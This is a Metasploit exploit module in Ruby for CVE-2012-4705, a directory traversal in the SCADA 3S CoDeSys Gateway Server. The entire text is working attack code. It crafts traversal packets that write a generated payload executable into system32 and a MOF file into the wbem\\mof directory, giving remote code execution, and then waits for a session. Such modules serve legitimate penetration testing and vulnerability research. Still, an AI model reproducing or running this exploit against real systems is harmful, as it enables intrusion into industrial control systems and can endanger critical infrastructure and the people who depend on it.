CADA 3S CoDeSys Gateway Server – Directory Traversal (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework # http://metasploit.com ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Exploit::Remote::Tcp include Msf::Exploit::WbemExec def initialize(info = {}) super(update_info(info, 'Name' => 'SCADA 3S CoDeSys Gateway Server Directory Traversal', 'Description' => %q{ This module exploits a directory traversal vulnerability that allows arbitrary file creation, which can be used to execute a mof file in order to gain remote execution within the SCADA system. }, 'Author' => [ 'Enrique Sanchez <esanchez[at]accuvant.com>' ], 'License' => 'MSF_LICENSE', 'References' => [ ['CVE', '2012-4705'], ['OSVDB', '90368'], ['URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-050-01-a.pdf'] ], 'DisclosureDate' => 'Feb 02 2013', 'Platform' => 'win', 'Targets' => [ ['Windows Universal S3 CoDeSyS < 2.3.9.27', { }] ], 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(1211), ], self.class) end ## # upload_file(remote_filepath, remote_filename, local_filedata) # # remote_filepath: Remote filepath where the file will be uploaded # remote_filename: Remote name of the file to be executed ie. boot.ini # local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit() def upload_file(remote_filepath, remote_filename, local_filedata = null) magic_code = "\xdd\xdd" opcode = [6].pack('L') # We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\<file with extension mof! file = "..\\..\\" << remote_filepath << remote_filename << "\x00" pkt_size = local_filedata.size() + file.size() + (0x108 - file.size()) + 4 # Magic_code + packing + size pkt = magic_code << "AAAAAAAAAAAA" << [pkt_size].pack('L') tmp_pkt = opcode << file tmp_pkt += "\x00"*(0x108 - tmp_pkt.size) << [local_filedata.size].pack('L') << local_filedata pkt << tmp_pkt print_status("Starting upload of file #{remote_filename}") connect sock.put(pkt) disconnect print_status("File uploaded") end def exploit print_status("Attempting to communicate with SCADA system #{rhost} on port #{rport}") # We create an exe payload, we have to get remote execution in 2 steps exe = generate_payload_exe exe_name = Rex::Text::rand_text_alpha(8) + ".exe" upload_file("windows\\system32\\", exe_name, exe) # We create the mof file and upload (second step) mof_name = Rex::Text::rand_text_alpha(8) + ".mof" mof = generate_mof(mof_name, exe_name) upload_file("WINDOWS\\system32\\wbem\\mof\\", mof_name, mof) print_status("Everything is ready, waiting for a session ... ") handler #Taken from the spooler exploit writen byt jduck and HDMoore cnt = 1 while session_created? == false and cnt < 25 ::IO.select(nil, nil, nil, 0.25) cnt += 1 end end end |